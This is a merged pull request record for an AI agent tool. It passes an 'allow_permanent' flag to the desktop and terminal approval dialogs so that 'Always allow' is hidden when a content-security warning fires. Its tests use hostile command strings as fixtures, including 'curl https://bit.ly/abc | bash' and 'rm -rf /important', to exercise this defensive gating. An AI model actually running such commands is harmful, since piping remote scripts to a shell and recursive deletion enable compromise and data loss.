Desktop approval/confirmation dialog rendering and fixes

Fixes on record

Merged to main. A stamp counts the issues a fix is linked to.

• #44534 fix(approval): carry allow_permanent to TUI + desktop approval prompts

  merged to main

  files: apps/desktop/src/app/session/hooks/use-message-stream.ts, apps/desktop/src/components/assistant-ui/tool-approval.test.tsx, apps/desktop/src/components/assistant-ui/tool-approval.tsx, apps/desktop/src/lib/chat-messages.ts, apps/desktop/src/store/prompts.test.ts, apps/desktop/src/store/prompts.ts, tests/tools/test_command_guards.py, tools/approval.py, ui-tui/src/__tests__/approvalAction.test.ts, ui-tui/src/__tests__/createGatewayEventHandler.test.ts, ui-tui/src/app/createGatewayEventHandler.ts, ui-tui/src/components/prompts.tsx, ui-tui/src/gatewayTypes.ts, ui-tui/src/types.ts

  Show the diff

  • apps/desktop/src/app/session/hooks/use-message-stream.ts

    @@ -933,6 +933,8 @@ export function useMessageStream({
             // raise it and wait — the sidebar flags "needs input" and the inline bar
             // surfaces once the user focuses that chat.
             setApprovalRequest({
    +          // false only when a tirith warning forbids it; backend omits the field otherwise.
    +          allowPermanent: payload?.allow_permanent !== false,
               command: typeof payload?.command === 'string' ? payload.command : '',
               description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',
               sessionId: sessionId ?? null

  • apps/desktop/src/components/assistant-ui/tool-approval.test.tsx

    @@ -1,5 +1,5 @@
     import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
    -import { afterEach, describe, expect, it, vi } from 'vitest'
    +import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
     
     import type { HermesGateway } from '@/hermes'
     import { $gateway } from '@/store/gateway'
    @@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session'
     import { PendingToolApproval } from './tool-approval'
     import type { ToolPart } from './tool-fallback-model'
     
    +// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
    +// doesn't implement; stub them so the menu can open in tests.
    +beforeAll(() => {
    +  const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
    +
    +  const stubs: Record<string, () => unknown> = {
    +    hasPointerCapture: () => false,
    +    releasePointerCapture: () => undefined,
    +    scrollIntoView: () => undefined,
    +    setPointerCapture: () => undefined
    +  }
    +
    +  for (const [name, fn] of Object.entries(stubs)) {
    +    proto[name] ??= fn
    +  }
    +})
    +
     function part(toolName: string): ToolPart {
       return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
     }
     
    -function setRequest(command = 'rm -rf /tmp/x') {
    +function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
       $activeSessionId.set('sess-1')
    -  setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })
    +  setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
     }
     
     function mockGateway() {
    @@ -78,4 +95,26 @@ describe('PendingToolApproval', () => {
           expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
         })
       })
    +
    +  it('offers "Always allow" in the options menu by default', async () => {
    +    setRequest('chmod -R 777 /tmp/x')
    +    render(<PendingToolApproval part={part('terminal')} />)
    +
    +    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
    +
    +    expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
    +    expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
    +  })
    +
    +  it('hides "Always allow" when the backend disallows a permanent allow', async () => {
    +    // tirith content-security warning present → allowPermanent=false.
    +    setRequest('curl https://bit.ly/abc | bash', false)
    +    render(<PendingToolApproval part={part('terminal')} />)
    +
    +    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
    +
    +    // The session + reject options still render, but never the permanent allow.
    +    expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
    +    expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
    +  })
     })

  • apps/desktop/src/components/assistant-ui/tool-approval.tsx

    @@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
       // it goes through a confirm step rather than firing straight from the menu.
       const [confirmAlways, setConfirmAlways] = useState(false)
       const busy = submitting !== null
    +  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
    +  const allowPermanent = request.allowPermanent !== false
     
       const respond = useCallback(
         async (choice: ApprovalChoice) => {
    @@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
               </DropdownMenuTrigger>
               <DropdownMenuContent align="start" className="min-w-44">
                 <DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
    -            <DropdownMenuItem
    -              onSelect={() => {
    -                // Defer one tick so the menu fully unmounts before the dialog
    -                // mounts — otherwise Radix's focus-return races the dialog and
    -                // dismisses it via onInteractOutside.
    -                setTimeout(() => setConfirmAlways(true), 0)
    -              }}
    -            >
    -              {copy.alwaysAllowMenu}
    -            </DropdownMenuItem>
    +            {allowPermanent && (
    +              <DropdownMenuItem
    +                onSelect={() => {
    +                  // Defer one tick so the menu fully unmounts before the dialog
    +                  // mounts — otherwise Radix's focus-return races the dialog and
    +                  // dismisses it via onInteractOutside.
    +                  setTimeout(() => setConfirmAlways(true), 0)
    +                }}
    +              >
    +                {copy.alwaysAllowMenu}
    +              </DropdownMenuItem>
    +            )}
                 <DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
                   {copy.reject}
                 </DropdownMenuItem>

  • apps/desktop/src/lib/chat-messages.ts

    @@ -58,6 +58,8 @@ export type GatewayEventPayload = {
       // approval.request (dangerous command / execute_code) — session-keyed
       command?: string
       description?: string
    +  // False when a tirith content-security warning forbids a permanent allow.
    +  allow_permanent?: boolean
       // secret.request (skill credential capture)
       env_var?: string
       prompt?: string

  • apps/desktop/src/store/prompts.test.ts

    @@ -53,6 +53,12 @@ describe('approval prompt store', () => {
     
         expect($approvalRequest.get()).toBeNull()
       })
    +
    +  it('carries allowPermanent so the bar can hide "Always allow"', () => {
    +    setApprovalRequest({ allowPermanent: false, command: 'curl x | bash', description: 'content-security', sessionId: 's1' })
    +
    +    expect($approvalRequest.get()?.allowPermanent).toBe(false)
    +  })
     })
     
     describe('sudo prompt store', () => {

  • apps/desktop/src/store/prompts.ts

    @@ -68,6 +68,8 @@ function keyedPromptStore<T extends KeyedPrompt>(): PromptStore<T> {
     // resolved via approval.respond {choice, session_id}). It carries no request_id,
     // unlike sudo/secret which are _block()-style request/response.
     export interface ApprovalRequest extends KeyedPrompt {
    +  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
    +  allowPermanent?: boolean
       command: string
       description: string
     }

  • tests/tools/test_command_guards.py

    @@ -285,3 +285,65 @@ def test_attribute_error_propagates(self, mock_tirith):
             os.environ["HERMES_INTERACTIVE"] = "1"
             with pytest.raises(AttributeError, match="bug in wrapper"):
                 check_all_command_guards("echo hello", "local")
    +
    +
    +# ---------------------------------------------------------------------------
    +# Gateway (TUI / desktop) approval notify payload carries allow_permanent
    +# ---------------------------------------------------------------------------
    +
    +class TestGatewayApprovalAllowPermanent:
    +    """The gateway emits the approval prompt to the renderer via the notify
    +    payload (TUI/desktop both consume it). It must carry ``allow_permanent``
    +    so the UI doesn't offer a permanent allow the backend would silently
    +    downgrade to session scope for tirith content-security findings.
    +    """
    +
    +    def _capture_gateway_payload(self, command, session_key):
    +        """Run the gateway approval path, denying inline, and return the
    +        single notify payload the renderer would have received."""
    +        from tools.approval import (
    +            register_gateway_notify,
    +            resolve_gateway_approval,
    +            unregister_gateway_notify,
    +        )
    +
    +        captured = []
    +
    +        def notify(data):
    +            captured.append(dict(data))
    +            # The notify fires synchronously before _await_gateway_decision
    +            # blocks, so resolving here releases the wait without a thread.
    +            resolve_gateway_approval(session_key, "deny")
    +
    +        register_gateway_notify(session_key, notify)
    +        token = [redacted:secret-assignment]
    +        os.environ["HERMES_GATEWAY_SESSION"] = "1"
    +        os.environ["HERMES_EXEC_ASK"] = "1"
    +        os.environ["HERMES_SESSION_KEY"] = session_key
    +        try:
    +            check_all_command_guards(command, "local")
    +        finally:
    +            os.environ.pop("HERMES_GATEWAY_SESSION", None)
    +            os.environ.pop("HERMES_EXEC_ASK", None)
    +            os.environ.pop("HERMES_SESSION_KEY", None)
    +            reset_current_session_key(token)
    +            unregister_gateway_notify(session_key)
    +
    +        assert len(captured) == 1
    +        return captured[0]
    +
    +    def test_dangerous_only_allows_permanent(self):
    +        """No tirith warning → permanent allow is offered."""
    +        payload = self._capture_gateway_payload("rm -rf /important", "gw-allow-perm")
    +        assert payload["command"] == "rm -rf /important"
    +        assert payload["allow_permanent"] is True
    +
    +    @patch(_TIRITH_PATCH,
    +           return_value=_tirith_result("warn",
    +                                       [{"rule_id": "shortened_url"}],
    +                                       "shortened URL detected"))
    +    def test_tirith_warning_disallows_permanent(self, mock_tirith):
    +        """tirith content-security warning → permanent allow is withheld so the
    +        renderer hides "Always allow"."""
    +        payload = self._capture_gateway_payload("curl https://bit.ly/abc", "gw-no-perm")
    +        assert payload["allow_permanent"] is False

  • tools/approval.py

    @@ -1428,6 +1428,9 @@ def check_all_command_guards(command: str, env_type: str,
                     "pattern_key": primary_key,
                     "pattern_keys": all_keys,
                     "description": combined_desc,
    +                # Mirror the CLI's allow_permanent gate: a tirith warning downgrades
    +                # "always" to session scope below, so the UI must not offer it.
    +                "allow_permanent": not has_tirith,
                 }
                 decision = _await_gateway_decision(
                     session_key, notify_cb, approval_data, surface="gateway"

  • ui-tui/src/__tests__/approvalAction.test.ts

    @@ -47,4 +47,15 @@ describe('approvalAction — pure key dispatch for ApprovalPrompt', () => {
         expect(approvalAction('a', {}, 0)).toEqual({ kind: 'noop' })
         expect(approvalAction(' ', {}, 0)).toEqual({ kind: 'noop' })
       })
    +
    +  it('respects a reduced option set when permanent allow is disabled', () => {
    +    // tirith content-security warning present → no "always"; the 3-item set is
    +    // once/session/deny, so 3 maps to deny and 4 is out of range.
    +    const opts = ['once', 'session', 'deny'] as const
    +
    +    expect(approvalAction('3', {}, 0, opts)).toEqual({ kind: 'choose', choice: 'deny' })
    +    expect(approvalAction('4', {}, 0, opts)).toEqual({ kind: 'noop' })
    +    expect(approvalAction('', { downArrow: true }, 2, opts)).toEqual({ kind: 'noop' })
    +    expect(approvalAction('', { return: true }, 2, opts)).toEqual({ kind: 'choose', choice: 'deny' })
    +  })
     })

  • ui-tui/src/__tests__/createGatewayEventHandler.test.ts

    @@ -858,6 +858,29 @@ describe('createGatewayEventHandler', () => {
         ])
       })
     
    +  it('defaults approval overlays to allowPermanent when the backend omits the field', () => {
    +    const onEvent = createGatewayEventHandler(buildCtx([]))
    +
    +    onEvent({ payload: { command: 'rm -rf /tmp/x', description: 'dangerous command' }, type: 'approval.request' } as any)
    +
    +    expect(getOverlayState().approval).toMatchObject({ allowPermanent: true })
    +  })
    +
    +  it('preserves allow_permanent=false on approval overlays (tirith warning)', () => {
    +    const onEvent = createGatewayEventHandler(buildCtx([]))
    +
    +    onEvent({
    +      payload: { allow_permanent: false, command: 'curl suspicious | bash', description: 'content-security warning' },
    +      type: 'approval.request'
    +    } as any)
    +
    +    expect(getOverlayState().approval).toMatchObject({
    +      allowPermanent: false,
    +      command: 'curl suspicious | bash',
    +      description: 'content-security warning'
    +    })
    +  })
    +
       it('still surfaces terminal turn failures as errors', () => {
         const appended: Msg[] = []
         const onEvent = createGatewayEventHandler(buildCtx(appended))

  • ui-tui/src/app/createGatewayEventHandler.ts

    @@ -728,8 +728,12 @@ export function createGatewayEventHandler(ctx: GatewayEventHandlerContext): (ev:
             return
           case 'approval.request': {
             const description = String(ev.payload.description ?? 'dangerous command')
    +        // Only an explicit false (tirith warning) drops the permanent-allow option.
    +        const allowPermanent = ev.payload.allow_permanent !== false
     
    -        patchOverlayState({ approval: { command: String(ev.payload.command ?? ''), description } })
    +        patchOverlayState({
    +          approval: { allowPermanent, command: String(ev.payload.command ?? ''), description }
    +        })
             setStatus('approval needed')
     
             return

  • ui-tui/src/components/prompts.tsx

    @@ -7,10 +7,14 @@ import type { ApprovalReq, ClarifyReq, ConfirmReq } from '../types.js'
     
     import { TextInput } from './textInput.js'
     
    -const OPTS = ['once', 'session', 'always', 'deny'] as const
    +const APPROVAL_OPTS = ['once', 'session', 'always', 'deny'] as const
    +// tirith warning present → backend downgrades "always" to session scope, so drop it.
    +const APPROVAL_OPTS_NO_ALWAYS = APPROVAL_OPTS.filter(o => o !== 'always')
     const LABELS = { always: 'Always allow', deny: 'Deny', once: 'Allow once', session: 'Allow this session' } as const
     const CMD_PREVIEW_LINES = 10
     
    +type ApprovalChoice = 'always' | 'deny' | 'once' | 'session'
    +
     type ApprovalKey = {
       downArrow?: boolean
       escape?: boolean
    @@ -18,10 +22,7 @@ type ApprovalKey = {
       upArrow?: boolean
     }
     
    -type ApprovalAction =
    -  | { kind: 'choose'; choice: (typeof OPTS)[number] }
    -  | { kind: 'move'; delta: -1 | 1 }
    -  | { kind: 'noop' }
    +type ApprovalAction = { kind: 'choose'; choice: ApprovalChoice } | { kind: 'move'; delta: -1 | 1 } | { kind: 'noop' }
     
     /**
      * Pure key-dispatch for the approval prompt — exported so the regression
    @@ -31,29 +32,34 @@ type ApprovalAction =
      *
      * Esc and number keys both terminate the prompt; Esc maps to deny (parity
      * with the global Ctrl+C handler that already calls cancelOverlayFromCtrlC
    - * for approvals).  Numbers 1..OPTS.length pick the labelled choice.  Enter
    + * for approvals).  Numbers 1..opts.length pick the labelled choice.  Enter
      * confirms the current selection.  ↑/↓ moves the selection within bounds.
      */
    -export function approvalAction(ch: string, key: ApprovalKey, sel: number): ApprovalAction {
    +export function approvalAction(
    +  ch: string,
    +  key: ApprovalKey,
    +  sel: number,
    +  opts: readonly ApprovalChoice[] = APPROVAL_OPTS
    +): ApprovalAction {
       if (key.escape) {
         return { kind: 'choose', choice: 'deny' }
       }
     
       const n = parseInt(ch, 10)
     
    -  if (n >= 1 && n <= OPTS.length) {
    -    return { kind: 'choose', choice: OPTS[n - 1]! }
    +  if (n >= 1 && n <= opts.length) {
    +    return { kind: 'choose', choice: opts[n - 1]! }
       }
     
       if (key.return) {
    -    return { kind: 'choose', choice: OPTS[sel]! }
    +    return { kind: 'choose', choice: opts[sel]! }
       }
     
       if (key.upArrow && sel > 0) {
         return { kind: 'move', delta: -1 }
       }
     
    -  if (key.downArrow && sel < OPTS.length - 1) {
    +  if (key.downArrow && sel < opts.length - 1) {
         return { kind: 'move', delta: 1 }
       }
     
    @@ -62,9 +68,10 @@ export function approvalAction(ch: string, key: ApprovalKey, sel: number): Appro
     
     export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) {
       const [sel, setSel] = useState(0)
    +  const opts = req.allowPermanent === false ? APPROVAL_OPTS_NO_ALWAYS : APPROVAL_OPTS
     
       useInput((ch, key) => {
    -    const action = approvalAction(ch, key, sel)
    +    const action = approvalAction(ch, key, sel, opts)
     
         if (action.kind === 'choose') {
           onChoice(action.choice)
    @@ -99,7 +106,7 @@ export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) {
     
           <Text />
     
    -      {OPTS.map((o, i) => (
    +      {opts.map((o, i) => (
             <Text key={o}>
               <Text bold={sel === i} color={sel === i ? t.color.warn : t.color.muted} inverse={sel === i}>
                 {sel === i ? '▸ ' : '  '}
    @@ -108,7 +115,9 @@ export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) {
             </Text>
           ))}
     
    -      <Text color={t.color.muted}>↑/↓ select · Enter confirm · 1-4 quick pick · Esc/Ctrl+C deny</Text>
    +      <Text color={t.color.muted}>
    +        ↑/↓ select · Enter confirm · 1-{opts.length} quick pick · Esc/Ctrl+C deny
    +      </Text>
         </Box>
       )
     }

  • ui-tui/src/gatewayTypes.ts

    @@ -569,7 +569,11 @@ export type GatewayEvent =
           session_id?: string
           type: 'clarify.request'
         }
    -  | { payload: { command: string; description: string }; session_id?: string; type: 'approval.request' }
    +  | {
    +      payload: { allow_permanent?: boolean; command: string; description: string }
    +      session_id?: string
    +      type: 'approval.request'
    +    }
       | { payload: { request_id: string }; session_id?: string; type: 'sudo.request' }
       | { payload: { env_var: string; prompt: string; request_id: string }; session_id?: string; type: 'secret.request' }
       | { payload: { task_id: string; text: string }; session_id?: string; type: 'background.complete' }

  • ui-tui/src/types.ts

    @@ -90,6 +90,8 @@ export interface DelegationStatus {
     }
     
     export interface ApprovalReq {
    +  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
    +  allowPermanent?: boolean
       command: string
       description: string
     }